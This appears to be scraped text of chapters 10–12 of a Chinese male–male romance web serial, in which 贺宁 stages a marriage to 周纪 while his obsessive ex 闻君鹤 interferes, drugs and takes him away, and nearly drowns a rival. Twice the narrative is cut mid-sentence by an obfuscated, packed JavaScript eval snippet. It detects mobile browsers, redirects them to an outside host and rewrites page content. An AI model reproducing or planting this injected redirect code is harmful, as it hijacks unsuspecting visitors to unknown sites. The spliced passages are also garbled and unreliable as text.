关于贺宁脑后那道疤,医院病历写得含糊其辞,但调查的人显然下了功夫:“手术据说动静很大,当时还出了麻醉事故,贺先生把医院告了。后来私下和解,消息被压得死死的。要不是您开价够高,真挖不出来,这事背后有孟家和韩家的影子。” 闻君鹤目光停在时间节点上,眉头越皱越紧:“韩家?伤是怎么来的?谁动的手?” 闻君鹤想起前几天韩卿来找过他,在他面前说过很多贺宁这几年的事,说当初他们想帮他,但他不领情。 “送医记录显示是孟轩送去的。”对方顿了顿,“不止脑后,全身多处软组织挫伤。” 闻君鹤手看着那个时间,想起那通他此生难忘的电话。 所以那个时候,贺宁正在经历痛苦的术后恢复,然后跟他提的分手。 他那时冷静得仿佛另外一个人,根本不是那个受了一点伤就委屈的贺宁。 “……闻君鹤,我们分手吧。” 闻君鹤胸口像堵着一股说不出的东西,他抓起手机拨通贺宁的号码,电话接通的提示音刚响了一声,面前的电脑突然弹出新闻推送。 ——周氏集团长子周纪正式回归家族,并宣布将于不日与同性恋人举行婚礼。 电话那头传来贺宁“喂”的同时,闻君鹤点开了那则新闻,据悉,另外一位准新郎正是当年落马的高官贺闳兴的独子。 10. 我丈夫在叫我了 贺宁跟在周纪身后迈进周家大门,叫“伯父伯母”时差点咬到舌头。周父坐着,眼神像在他身上扫了几个来回,最后只沉沉叹出一句:“坐吧。” 不远处的周母一身墨绿色盘金绣旗袍,脖子上那串蓝宝石项链晃得人眼花。 她保养得极好,脸上几乎看不出年纪,和周父那种老派沉稳的气质是一个世界的人,她手往周父肩上一按,看了一眼周纪,笑得勉强又刻意:“你们聊啊,我去厨房看看饭做好了没。” 高跟鞋踩在大理石地面上,清脆的声响一路往餐厅方向去。 贺宁僵着背坐在沙发边缘,周家的装潢讲究,周遭摆的物件看着都像古董,商人到底可以张扬一些,他不是没见过世面的人。 周纪倒是自在,坐下之后还顺手给贺宁倒了杯茶,瓷杯搁在茶几上一声轻响。 贺宁莫名觉得如坐针毡。 周崇就坐在单人沙发上,从贺宁进门起眼神就没离开过他,目光冷得像刀子,活像要在他身上剜出个洞来。 贺宁后背发凉,周纪的手稳稳搂住他的后腰。 “喝茶。”周纪把杯子往他面前推了推。 周父突然说以前见过贺宁,他留了几分没点名什么场合,但大概就是贺闳兴还没入狱前。 “怎么结婚这么突然?”周父话锋一转。 周纪突然笑了:“这不正合你们意吗?省得我再去祸害别人。” 话说得意有所指。 周父脸色瞬间沉下来,手里的茶杯重重一放,周母不知何时已经回到客厅,站在周父说开饭了。 饭桌上压抑了些,但周母在尽量活跃气氛,贺宁对周纪庞娆的每个问题都答得认真,显得格外乖巧懂事。 银质餐具碰撞的声响中,周崇手里的刀叉在瓷盘上划出刺耳的噪音,每一下都像故意为之。 庞娆脸上闪过一丝不悦:“小崇,今天是你大哥的好日子,注意点分寸。” 周崇肩膀一耸,眼神直勾勾地盯着对面的周纪,突然举起酒杯:“当然,大哥的大日子。” 他故意咬重最后那三个字:“祝大哥新婚快乐。” “谢谢。”周纪回得干脆。 周崇突然猛地起身,椅子在地板上刮出刺耳的声响。他抓起搭在椅背上的西装外套,头也不回地往门外走。 满屋子的人没一个出声阻拦,只有庞娆喊了声“小崇”。 周父看着周纪只沉沉地说了句:“结了婚就把从前那些不该有的念头都断了,好好过日子。” “好。”周纪应得干脆,脸上看不出喜怒。 当晚周纪在周家留宿。 贺宁和周纪站在三楼露台上。月光很淡,像层纱似的笼在两人肩头。周纪点了根烟,火星在黑暗中明灭,不远处远处有虫鸣,时断时续的,衬得夜更静了。 周纪弹了弹烟灰,声音混在夜风里:“周崇只比我小五岁,他从小有心脏病,所以全家都惯着他。” 周崇性格阴晴不定,却偏偏只缠着他一个人。那小子从小像块牛皮糖,甩都甩不掉。 “那件事之后,周崇跪在我父母面前,跟他们说是我勾引的。”周纪说,“我爸说我是个变态,连弟弟都不放过。” “后来我就跑了。”周纪把烟头摁灭在栏杆上,“跑得越远越好。” 贺宁盯着周纪的侧脸:“你爸妈对不是亲生的孩子也这么偏心吗?” 周纪说:“周崇他爸救过我爸,所以我能理解他。” 话说得简单,但贺宁分明看到他眼底闪过一丝阴翳,被至亲背叛的郁结,被家人不信任的苦闷,都压在这句轻飘飘的解释底下。 贺宁突然站直了,语气格外坚定:“周哥,这场戏我陪你演到底。” 周纪明显怔了一瞬,随即低低笑出声来。他抬手揉了揉贺宁的发顶:“贺宁,要是哪天你不想演了,随时跟我说,我只是想让周崇彻底死心。” 贺宁笑着点头,心想自己何尝不是在借这场戏断自己的念想。 闻君鹤要是一辈子不回来就好了。 贺宁睡在周家的客房,手机突然响起,接通后电流杂音里传来熟悉又陌生的声音:“你在哪?我在你家楼下,我等了你快三个小时了。” 贺宁坐起身。 “不分手,现在还要跟周纪结婚?”闻君鹤的声音传来,“贺宁,你还能蠢到什么地步?” “闻君鹤,我们五年前就结束了。”贺宁声音发紧,“以后就当陌生人不行吗?你可以不要管我的事吗?” “不行。”闻君鹤咬字很重,“你以为我想管你?看你把日子过成这样,真他妈来气。” 贺宁突然叹了一口气:“那麻烦你以后别看了,把我这个人从你的生活里彻底剔除好吗?我的人生再烂也是我的事。” “可我们呢?我们也结过婚?贺宁。” 贺宁不知道是该庆幸闻君鹤居然还记得他们那一场婚礼。 “那时候,是我太儿戏了。” “闻君鹤,别再打来了,我会拉黑掉你的号码,我丈夫会介意,辞职信我会发人事,不管怎么样,还是谢谢你的关心。” 闻君鹤听着电话里传来的忙音,原本倚在车边的身体猛地绷直。 下一秒,手机被狠狠砸向地面,屏幕在水泥地上炸开蛛网般的裂痕。 他很少这样失控,在外人眼里,闻君鹤永远完美自持,情绪稳定得像台精密仪器。 夜风刮过,他站在原地深呼吸了几次,才弯腰去捡那部支离破碎的手机。裂开的玻璃边缘割破掌心,他却像感觉不到疼似的,把残骸死死攥在手里。 贺宁这次是真的不要他了。 那个曾经无论被推开多少次都会巴巴凑上来的人,现在居然说要和别人结婚。 闻君鹤盯着掌心的血迹出神,“贺宁”这两个字就像个该死的开关,一边连着当年被贺闳兴威胁的屈辱,一边却扯出贺宁曾经抱着他发亮的眼睛。 五年过去,闻君鹤已经分不清对贺宁的执念是什么,是被先甩的不甘,还是习惯被爱的怀念? 他太阳穴突突地跳,他只知道一件事:贺宁不该把曾经给他的感情,再原样给别人。 那个总爱往他怀里钻的贺宁,会像小狗似的枕在他腿上,翻身时发梢扫过他的膝盖。手指总不安分,摸他喉结,描他下巴,像在研究什么稀世珍宝。 闻君鹤以前嫌烦,现在却控制不住地想:贺宁也会这样对周纪吗? 闻君鹤以前总觉得贺宁聒噪,那些鸡毛蒜皮的琐事,毫无营养的废话,明明是他最不屑一顾的垃圾时间。可偏偏每次贺宁窝在他身边嘀嘀咕咕时,他都会放下手里的文件,安静地听完。 贺宁有时候会突然连名带姓地喊他,非要他放下工作专心对视。那双眼睛亮得惊人,像是把全世界的星光都装进去了。 闻君鹤面上不耐烦,却总会不自觉地抬手,把贺宁翘起来的头发捋顺。 这世上怎么会有贺宁这么烦人的人? 闻君鹤突然扯了扯嘴角。他会让贺宁回来的,像以前那样,眼里只装着他一个人,手指只碰他一个人。 错过的五年,贺宁曾经给过的爱,他要连本带利地讨回来。 第二天清早,人事部果然送来了贺宁的辞职申请。闻君鹤扫了一眼就签了字,脸上看不出任何情。 人事部的主管李姐站在办公桌前,开口说:“其实贺宁早该被劝退了,他们组长跟我反映过好多次,现在还好多了,一开始方案经常弄错,虽然是名校毕业的,这跟能力没关系,完全是态度问题,有时候跟没长脑子似的,被骂了,看着又挺可怜的。” 闻君鹤的钢笔突然停在签字栏上方,他抬眼看向李姐,眼神冷得像淬了冰。 李姐立刻噤声。 周父一开始得知贺宁的身份时,眉头皱得能夹死苍蝇。但比起两个儿子搅在一起的丑闻,这点瑕疵似乎还能忍受。 所以这桩婚事他也算是默认。 贺宁既然答应陪周纪演这场戏,他就会演到底,就当报答周纪在他最狼狈时伸出的那只手。 记得最困难的那段日子,周纪从不多问什么。那种恰到好处的温柔,贺宁这辈子都记着。 贺宁活到这么大,除了父亲,没几个人真心待过他。曾经的恋人是受胁迫才跟他在一起的,所谓的朋友在他落魄时跑得比谁都快,跟班后腿反噬报复他。 最绝望的时候,贺宁甚至觉得自己的存在就是个错误。 所以他是真心实意想对周纪好,更何况在贺宁眼里,周崇那种阴晴不定的疯子,根本配不上周纪。 周纪要夺回属于他的一切,他能为周纪做点事,贺宁也觉得很开心。 婚期定得仓促,前后不过半个月。贺宁原本觉得走个形式就行,连戒指都没打算要。可周纪不答应,他捏着婚礼策划书,一页页翻给贺宁看:“该有的都得有。我能给你的,一样都不会少。” “周大少真阔气。”贺宁笑着调侃。 周纪眼角眉梢都是笑意:“办,必须大办!怎么风光怎么来,要不要把闻君鹤也请来。” 贺宁摇摇头。 周母虽然整天抱怨时间太赶,却还是亲自盯着婚礼筹备。贺宁有次撞见她对着宾客名单皱眉,嘴里念叨着“这排场太小”,转头就打电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他歪着头,像在欣赏贺宁的表情:“你把他当宝,人家可只当你是垫脚石。你爸出事那天,他估计比谁都开心,后来他可是抛弃你头也不回地出国了。” “不过他那样的人估计这辈子都不会喜欢你,你当初对他做的事,还有我替你做的那些事……我听说韩卿如今在追他,你会不会觉得不甘心啊。” “我知道他不会喜欢我。”贺宁打断他,声音平静得不像话,“比你知道得早得多。” “不过是我甩的他,没有什么不甘心?韩卿要是喜欢,那祝他成功。” 贺宁刚转身,就撞上闻君鹤直直盯着他的目光。那人站在几步之外,西装笔挺,眼神却阴沉得吓人。 孟轩识趣地往旁边让了让,嘴角挂着看好戏的弧度。 闻君鹤看了一眼孟轩的背影,那视线含着杀气。 贺宁正要走,手腕突然被一把扣住。闻君鹤将他拽到角落,声音压得极低:“你后脑的伤,到底是怎么回事?” 贺宁脸色唰地白了。 那个伤口像道闸门,一提起就泄出无数不堪的记忆,医院的消毒水味,韩卿和孟轩假惺惺的慰问和赔偿。 闻君鹤的手指还攥着他手腕,力道大得发疼。 贺宁能感觉到周围宾客好奇的目光。 “韩卿说是意外?他说你是当初接受不了你父亲的结果,自己掉下楼梯的。” 贺宁突然想起很久以前的事,时候他们刚在一起,韩卿当众给过他难堪。他那个时候脾气没那么好,当场就怼了回去。结果第二天韩卿就在校外被人打了,闻君鹤连问都没问,就直接认定是他干的。 他知道自己在闻君鹤心里不是什么好人形象。韩卿那张嘴能把黑的说成白的,这些年不知道编排出多少个版本来抹黑他。 解释有什么用?反正闻君鹤从来只信他想信的。 “他说什么就是什么吧。”他贺宁要挣开对方的手,无名指上的婚戒闪了一下,闻君鹤觉得很刺眼。 闻君鹤双手猛地钳住贺宁的肩膀。他盯着贺宁的眼睛,一字一顿从牙缝里挤出来:“我要听你说。” 贺宁抿着唇没吭声,就在这时,周纪的声音从不远处传来,温和却清晰地唤了声“贺宁过来”。 贺宁挣开闻君鹤的手。他整了整被弄皱的西装,脸上挂回得体的微笑:“抱歉,我丈夫在叫我了。” 说完转身就走,没再看闻君鹤一眼。 闻君鹤的手还僵在半空,他看着贺宁走向周纪,看着周纪自然地揽住贺宁的腰,看着贺宁仰头对对他新婚丈夫露出笑容,那笑容闻君鹤太熟悉了,曾经是只给他一个人的。 香槟塔折射的光斑晃得人眼花,闻君鹤突然觉得胸口像被捅了个窟窿,冷风呼呼地往里灌。 11. 我等了你那么久,可你一次都没来 贺宁刚陪周纪应付完一圈宾客,趁着去洗手间的空档喘口气,手上的手擦干,转身就被闻君鹤堵在了洗手台前。 “让开。”贺宁往后靠了靠,“闻君鹤,你搞清楚今天什么场合,今天是我结婚的日子。” 镜子里映出两人对峙的身影,闻君鹤的西装依旧一丝不苟,只是领带歪了几分。 外头隐约传来婚礼进行曲的旋律,还有司仪调试麦克风的杂音。 贺宁伸手去推闻君鹤,却被一把攥住手腕,力道大得让他皱了皱眉。 闻君鹤冷笑一声,眼底浮起讥诮:“丈夫?又是只办场婚礼的那种?那你算不算重婚了。" “我们会去国外领证。”贺宁答得干脆,眼神坦荡得刺眼,“法律承认的那种。” 贺宁一向这样,心里想什么都写在脸上,喜欢谁就巴巴地凑上去,讨厌谁连装都懒得装。闻君鹤恰好相反。 “你以为他爱你?”闻君鹤逼近一步,声音压得极低,“他不过是在利用你。” 贺宁:“我知道啊,可我心甘情愿,闻君鹤,你不会明白的,我只是想为对我好的人做点什么而已。” “别拿你那套标准来审判我。”贺宁声音发哑,“我受够了在你厌恶的眼神里讨生活。” “当初所有人都说我可恶,闻君鹤,你就不可恶吗?你明明知道我卑鄙又贪心,就该趁早甩开我,为什么给我希望,我自己识趣放手?你还回头找我干什么?” 闻君鹤突然抓住他肩膀,力道大得几乎要捏碎骨头:“你不再爱我了吗?” 语气里罕见的脆弱和不可置信让贺宁怔在原地。 镜子里映出闻君鹤发红的眼尾,还有贺宁自己微微发抖的指尖。 贺宁想起大学那场婚姻,婚礼司仪说过的“无论贫穷富贵”的誓词。 这世上再不会有人像贺宁那样,毫无保留地把整颗心都捧给闻君鹤,哪怕违背原则、放下尊严,也要固执地爱着他。 那种近乎盲目的包容与执着,是闻君鹤这些年再没从别人身上得到过的。 闻君鹤的眼睛还是那么黑,深得像潭水,多看两眼就能让人溺毙,贺宁仓皇别开视线,他用力推开闻君鹤,像逃命似的转身就走,回到周纪身边。 周纪关切地低头问他怎么了,贺宁却只是摇头。 闻君鹤站在宴会厅的角落,目光沉沉地锁在贺宁和周纪的背影上,他低声喃喃:“明明还爱我,却跟别人结婚,什么丈夫,胡扯。” 孟轩不知何时晃到了他旁边:“哟,大学霸也来了?” 他故意四下张望:“韩少没跟着?” 闻君鹤皱眉看向孟轩,他记得第一次见孟轩,还是在贺宁众星捧月的时候,孟轩是一群巴结贺宁的跟班里最忠心的一名。 那次他被人故意引到包厢门口,从他的角度看过去,门缝里看到贺宁被孟轩搂在沙发上。 孟轩叼着烟,贺宁皱着眉让他掐了,孟轩就真乖乖把烟摁灭在旁边的水晶烟灰缸里。 “闻君鹤有什么好?”孟轩递了杯牛奶过去,“冷冰冰的没点人情味。你想要谁,我都能给你弄来。” 贺宁捧着牛奶杯,校服领口微微敞开,露出一截白皙的脖颈。灯光下他的皮肤像上好的瓷器,泛着细腻的光泽,活脱脱一个养尊处优的小王子。 那时候的贺宁骄纵又明亮,像团火似的灼人。 “要你管?”贺宁当时皱着鼻子,一脸嫌弃地推开孟轩,“我就要他,非他不可,你身上烟味熏死人了,离我远点。” 孟轩也不恼,懒洋洋地陷在沙发里,手臂却虚搭在贺宁身后,像圈地盘似的。 “行行行,我以后不抽行了吗?”他笑得意味深长,“想要闻君鹤还不简单?这学校谁敢拒绝你贺少啊。” 后来闻君鹤确实再没见过孟轩在贺宁面前抽烟。 贺宁听到孟轩的保证,眼睛一下子亮起来:"我要他当我男朋友,韩卿也喜欢他?不过他想都别想。” 包厢外的闻君鹤听着这番对话,莫名想起贺宁每次偷看自己时,那双亮得过分的眼睛。那时候的贺宁骄傲又直白,喜欢什么就大大方方去争去抢, 后来孟轩偷偷摸摸追过闻君鹤,闻君鹤恶心得要死,那种反胃感从心底直窜上来。 真他妈乱。 贺宁身边这些用钱堆出来的“朋友”,一个比一个令人作呕。 当时的闻君鹤想起贺宁在包厢里那句“我要他当我男朋友”,只觉得他在贺宁眼里到底算什么?跟韩卿较劲的战利品,还是向狐朋狗友炫耀的收藏品? 孟轩晃着香槟杯,突然嗤笑出声:“说起来,今天这场面真眼熟。当年你俩不也办过一场?你那会儿板着张死人脸,晦气得很。” 闻君鹤眼神一沉:“巧了,我正有事找你。” 孟轩挑眉,跟着他走到人工湖旁的僻静处。 闻君鹤从西装内袋抽出张纸,声音冷得像冰:“贺宁后脑的伤,你干的?” 纸页在风中微微颤动,孟轩盯着对面人眼里翻涌的阴霾,突然笑了。 他随手弹了弹那张纸,语气轻佻:“大学霸,你在国外消息不灵通啊,你不知道我们早就和解了吗?这事儿早翻篇了,不过是个意外。” 闻君鹤捏着纸张:“什么意外?” 孟轩像是听到了什么笑话,噗嗤一声乐了:“怎么,心疼了?” 他凑近一步,眼里闪着恶意的光:“你该不会真喜欢上贺宁了吧?闻君鹤,你该不会是受虐狂吧。” 见闻君鹤不答,孟轩更来劲了,绕着他转圈:“韩卿要是知道得多伤心啊,追了你这么多年,结果你对前男友念念不忘。你这张脸确实招人,难怪一个个都对你念念不忘。” 闻君鹤眼底的寒意几乎要凝成实质:“我最后问一次,他后脑的伤,怎么来的?” 孟轩装模作样地摊手:“你去问贺宁啊。” 他朝宴会厅方向抬了抬下巴:“不过他现在应该没空理你,他忙着跟他的新对象招待客人呢?” 孟轩露出个恍然大悟的表情:“哦对,是他甩的你啊?我一直还以为是你嫌贺家倒了,赶紧踹了他另找高枝呢。” 闻君鹤的脸色已经阴得能滴水,可孟轩这种混不吝的压根看不懂气氛。他反而越说越来劲:“说真的,当初听说你们分手我可高兴了,我当初为了讨好贺宁,是干过不少缺德事,比如找人砸了你那个破家,打断你姑父的腿。” “可笑贺宁还做着两情相悦的美梦,根本不知道你恨他恨得要死吧?” “看你被他强留在身边,明明恶心还要装深情的模样,我可太痛快了,就像现在,你明明恨不得杀了我,却还得忍着。” 孟轩还在喋喋不休:“他贺宁不就是投胎投得好?从小我就得给他当跟班,我爸妈逼着我哄他开心,我不知道有多恶心。” 他扯松领带,眼里闪着扭曲的光:“看他爸进监狱那天,我高兴得喝了整晚的酒。” “其实我当初也挺喜欢他的,可惜他不识相,你也挺有意思的,你要不要别跟韩卿耗了,跟我也试试?” 闻君鹤的眼神看不出情绪。他忽然抬手,修长的手指轻轻抚过孟轩的黑色领带,动作优雅得像在整理艺术品。 孟轩刚要笑,那手指却猛地收紧,领带瞬间勒进脖颈,孟轩还没反应过来就被掼倒在地。后脑勺磕在石子路上,眼前炸开一片金星。 下一秒,他被粗暴地拖向湖边,闻君鹤的力道大得惊人。 冰冷的湖水突然淹没头顶时,孟轩才意识到发生了什么。他拼命挣扎,却只激起更大的水花。 闻君鹤半跪在岸边,西装裤被湖水浸湿,手上力道分毫不减,面无表情地将孟轩的头摁在水里。闻君鹤侧脸上,勾勒出近乎冷酷的轮廓。 矮墙外有车一闪而过,却没人注意到湖边这场单方面的施暴。 孟轩手脚并用拼命挣扎,水花溅湿了闻君鹤的西装袖口。等他终于被揪着头发拎出水面时,已经咳得肺都要呕出来,精心打理的头发糊在脸上,像个滑稽的水鬼。 闻君鹤蹲下身:“最后问一次,贺宁的伤,怎么来的?” 贺宁跟着周纪赶到时,看到的就是这幅场景,孟轩瘫在木台阶上浑身滴水,奄奄一息,几个佣人手忙脚乱地给他裹毛巾。 贺宁想不通这么大个成年人怎么会落进湖里。 而闻君鹤站在几步外,正用方巾慢条斯理地擦手,指节都搓得发红,像是沾了什么脏东西。 贺宁刚要转身,突然听见闻君鹤叫了他一声。 贺宁回过头,看见闻君鹤站在那里,裤腿湿了大半,布料深一块浅一块地黏在腿上。他面无表情地看着贺宁,声音平静:“能带我去换件衣服吗?” 众目睽睽之下,贺宁没法拒绝,只能领着他往客房走。 走廊的地毯吸去了脚步声,只剩下两人轻微的呼吸。 “这么快就熟悉周家了。”闻君鹤突然开口。 贺宁皱眉,却没听出往日的讥讽。 他让人找了条宽松的裤子递过去,转身要走时,突然被一把抱住。 闻君鹤的鼻尖抵在他肩窝,呼吸透过衣料烫在皮肤上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900380|176590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。贺宁僵在原地,闻君鹤身上还带着湖水的凉意,手臂却箍得死紧。 “松开我。”贺宁声音发紧。 闻君鹤深吸一口气,仿佛在感受贺宁身上气息:“贺宁,别结婚。” 客房的窗帘没拉严,阳光斜斜地切在地板上,把两人的影子融在一起,又长又暗。 贺宁整个人僵住了,他向来吃软不吃硬,从前闻君鹤只要稍微放低姿态说几句好话,他就恨不得把心都掏出来。现在闻君鹤这句近乎哀求的“别结婚”,让他晃神刹那。 门没关严。 突然传来一声嗤笑,周崇懒洋洋地靠在墙边,手指转着车钥匙:“姓贺的,刚见完宾客就急着给我哥戴绿帽?” 贺宁猛地推开闻君鹤,仓皇间甚至没看清周崇的表情就匆匆离开。 周崇等贺宁走远,才慢悠悠地踱到闻君鹤面前,他比闻君鹤矮一些,却硬是摆出居高临下的姿态:“聊聊,关于我未来嫂子。” 转眼就到了贺宁和周纪出国领证的日子,周纪没开玩笑,贺宁也想彻底绝了某些念想。 周家派人送来厚厚一叠文件,贺宁签了。 候机室里,周纪递来杯鲜榨果汁:“睡会儿吧,饿了呆会有飞机餐。” 贺宁点点头,刚要说话,周纪的手机突然亮起来。屏幕闪烁个不停,来电显示是“周崇”两个字。 周纪盯着手机没动,眉心微微蹙起,这段时间周崇没少作妖,不是突然“心脏病发”,就是半夜“呼吸困难”,每次目的就是都能把周纪从贺宁“身边”叫走。 贺宁想要是他真的跟周纪有什么,应该想把周崇掐死的心都有了。 “他又闹了?”贺宁看着周纪紧绷的侧脸。这些天他算是见识了周崇的本事,那人装起可怜来一套一套的,眼泪说掉就掉,一句“哥你不要我了吗”说得跟真事儿似的。 那个演技贺宁都惊叹不已。 贺宁仰头把果汁一饮而尽。 周纪低头看了眼终于安静下来的手机,大概是周崇又给他发了什么消息,他突然站起身:“我出去一下。” 贺宁点点头。 电视里正播着无聊的财经新闻,贺宁看着看着,眼皮突然变得沉重。他试图掐自己保持清醒,却发现手指已经使不上力。视野渐渐模糊,最后彻底陷入黑暗。 再睁眼时,陌生的天花板,冷色调的装修风格却莫名熟悉,灰蓝的窗帘,深褐的实木家具。 房门突然打开,贺宁本能地往后缩。等看清来人,他嘴角扯出个僵硬的弧度:“闻君鹤?我为什么在你家?” 闻君鹤手里端着碗热汤,白瓷勺在碗沿轻轻一碰。他坐到床边,勺子递到贺宁嘴边:“喝吗?” 两人距离近得能闻见闻君鹤身上那股冷淡的木质香,贺宁胸口剧烈起伏,闻君鹤却很平静:“周崇让我去接你的,这会儿周纪应该和他弟在飞机上了。” 贺宁盯着他,嘴唇微微发抖:”那是……我和周纪领证的航班,你们怎么能这样。” 怎么会有这么可恶的两个人。 闻君鹤突然拉开床头抽屉,取出个丝绒盒子。贺宁眼睁睁看着那枚熟悉的戒指被套回闻君鹤的无名指,是当年他送给闻君鹤,被弄丢的那枚。 “你已经结过婚了。” 贺宁的脑子嗡嗡作响,第一反应就是离开这张床、这间屋子。他踉跄着撑起身子,却被闻君鹤一把扣住手腕:“赶不上飞机了。” 贺宁却下意识喃喃:“订最近的机票就行。” 闻君鹤像是无法忍受,突然发了狠,猛地将他按回床上。贺宁看见他眼底翻涌的暗色:“五年了,你有一次像这样急着来见我吗?” 贺宁:“我为什么要去见你?闻君鹤,我们分手了!分手了你知道吗?” 贺宁这辈子第一次听闻君鹤爆粗口。 “我知道,我当然他妈知道!”闻君鹤声音发颤,“我给了自己三次机会,第一次我证件在机场被偷了,第二次,韩卿给我发了你和孟轩的照片,第三次,也就是这次。” “我一直等着你来见我。” 闻君鹤最开始两年的时候,是他经济最拮据的时候,闻君鹤省吃俭用攒机票钱。好不容易凑够,快要登机的护照却莫名其妙丢了。 后来经济宽裕些,韩卿发来照片,是贺宁和孟轩靠得很近的照片,他说贺少爷果然受不了穷日子,闻君鹤那时候盯着照片发了很久的呆。 他看着自己明明负担得很困难的房子,不知道自己究竟在坚持什么。 “我等了你那么久,可你一次都没来。” 12. 完成婚姻登记 贺宁对上闻君鹤的眼睛时,眸子里全是茫然和困惑。闻君鹤难得情绪外露的这一刻,让他彻底哑然,所有准备好的话都哽在喉咙里。 “你...其实是想来找我的,对吗?” 闻君鹤点了点头,眼底刚浮起一丝期冀,就听见贺宁接着说:“既然前两次老天都没让你回来,闻君鹤,有没有可能,这就是命呢?” 闻君鹤当做没听见:“周崇不会让你和周纪结婚的,他那个人……偏执得可怕。” “药是他下的?”贺宁问。 “嗯,上次机车事故也是他安排的,你最好离他们兄弟俩远点。” 贺宁掀开被子要下床穿衣服,闻君鹤一把扣住他手腕,眉头拧得死紧:“你去哪?” “结婚。”贺宁不能放下周纪被周崇纠缠。 闻君鹤眼角抽动,声音陡然拔高:“你怎么永远听不懂人话?我回来了,你还结什么婚?周家两兄弟会把你啃得骨头都不剩,为什么你总要干这种蠢事?” “蠢”这个字眼砸下来。 贺宁抬头看他,突然想起毕业那年最落魄的时候,他那个时候在蛋糕店打零工,每天下班后就在出租屋看着抱回的几个临期面包发呆;银行卡偶尔多出几笔不明汇款,他却连查都不敢查;往返监狱的路走得多了,连狱警看他的眼神都带着怜悯。 那些和闻君鹤如出一辙的、居高临下的目光,他以为自己早就免疫了。 “对,我就是蠢。”贺宁突然笑了,眼泪却大颗大颗往下砸,“所以求你行行好,离我远点行吗?” 滚烫的泪滴在闻君鹤手背上,烫得他猛地松开钳制。 贺宁眼中闪过的痛苦像把刀,狠狠扎进闻君鹤心口。 他从未想过会在贺宁眼里看到这种情绪,那个从象牙塔里长大的小少爷,本该永远无忧无虑,对世界充满天真好奇。 曾经闻君鹤最厌恶的就是贺宁这副模样。 贺宁想要什么不过是一念之间,轻轻松松就能得到。而闻君鹤要拼尽全力,才能勉强触到那个世界的边缘。 他们虽然同床共枕,却始终活在两个世界。 贺宁永远不会懂闻君鹤情绪中偶尔的阴郁面从何而来,就像闻君鹤永远不明白,怎么会有人能活得如此天真愚蠢。 贺宁不知何时已经学会了沉默,学会了把痛苦咽下去,学会了用眼泪代替发泄。 这是他曾经很想教会他的东西。 贺闳兴被抓的时候,贺宁那天逃课正坐在自家露台阳伞下喝咖啡吃早餐。 同一时刻的大学教室里,闻君鹤被同桌推了推胳膊。他瞥了眼手机屏幕,突然像被雷击中般僵住。下一秒,他猛地起身冲出门,教授在身后喊他的名字,声音很快被走廊的风声吞没。 闻君鹤赶到时,贺宁那时候都没现在哭得伤心,他只是呆呆地道:“我爸爸真的干了这么多坏事吗?” 没有歇斯底里,没有痛哭流涕,只是安静地坐在那里,像尊被打碎的玻璃像。 奇怪的是,闻君鹤胸口突然涌上股陌生的酸胀感。当贺宁红着眼眶拉住他衣袖时,他竟破天荒地没有甩开。 后来闻君鹤常想起那个场景。贺宁从云端跌进泥里时,他明明该觉得痛快,可真正看着那双蒙着水雾的眼睛,所有准备好的狠话都卡在了喉咙里。 贺宁提分手那天,闻君鹤只觉得荒谬可笑。他心想该让这小少爷尝尝苦头了,不是所有人一定都该围着他转的。 可当贺宁真的消失后,他才发现事情脱了控。 贺宁把他所有的联系方式都删了,像水滴蒸发般无影无踪,闻君鹤不得不从韩卿的只字片语中得到他一些近况。 闻君鹤有段时间开始做各种噩梦,比如贺宁出车祸躺在血泊里,或是落魄得睡在桥洞下瑟瑟发抖,最可怕的一次,他梦见贺宁被人骗去没了内脏,像块破布似的扔在垃圾堆旁。 留学第一年过得拮据,闻君鹤边打工边读书,攒了半年才买得起回国机票。临行前行李护照证件全没了。 从前贺闳兴看他的眼神总带着居高临下的轻蔑,说要是没有贺家,贺宁能靠他闻君鹤吗? 闻君鹤花了整整五年时间,就为了能重新站在贺宁面前,不是当年那个被抛弃的穷学生,而是足够强大的、能让贺宁后悔的闻君鹤。 闻君鹤突然觉得可笑,他以为的重逢该是扬眉吐气,没想到最后只换来一句贺宁一句“离我远点”。 闻君鹤抬手,指尖碰到贺宁的脸,触感还是记忆中的柔软温热,但比从前瘦了许多,贺宁的眼泪沾在他指腹上,还带着体温。 贺宁偏头躲开,自己抬手抹了把脸,把那些脆弱也一并擦去了:“不用你可怜,我的事自己解决。” “你能解决什么?那件事跟你无关。要结婚是吧?我跟你结。” 话说得那么轻易,好像他们还是高中那对情侣,中间没有隔着五年的分离。 闻君鹤垂着眼睫,声音低沉平缓:“跟我住一起,我能给你想要的生活,从前一模一样的生活。” 贺宁想闻君鹤一定不知道他说的每个字都像裹着蜜的毒,明知致命却诱人沉沦,他指甲深深掐进掌心,用疼痛逼自己清醒。 他想起撞闻君鹤说的“恶心”,还有每次亲密前,闻君鹤背着他吞下的白色药片。 “为什么?”贺宁嗓子发紧,“你不是……最恨我吗?” 那一刻,贺宁心底突然冒出个荒谬的念头,也许,闻君鹤也有那么一点喜欢他?就一点点。 “贺宁,你没让人动过我姑姑一家吧?” 这句话像盆冰水,浇得贺宁浑身一颤。他想起闻君鹤的姑姑。那个总系着围裙,对他笑温柔女人。当年他不懂事,大咧咧跑去自称是闻君鹤男朋友,吓得对方面无血色。 而闻君鹤就站在不远处,眼神看他冷得像看个陌生人。 “他们……出什么事了吗?”贺宁嗓子发紧。 闻君鹤盯着他:“当初孟轩砸了我姑父的店,打断他一条腿,我一直以为是你指使的。” 贺宁脸上闪过几秒空白。他忽然觉得自己刚才那点妄想可笑至极,胸口像被掏了个洞,冷风呼呼往里灌:“对不起……我真的不知道。” 他从来不知道,自己带给闻君鹤的竟是这样的伤害。 闻君鹤由姑姑一手带大,那份亲情比血还浓。贺宁一直以为对方不爱他,是因为自己不够好,却原来这段感情从一开始就注定夭折,早在还没开始萌芽的时候就被连根拔断了。 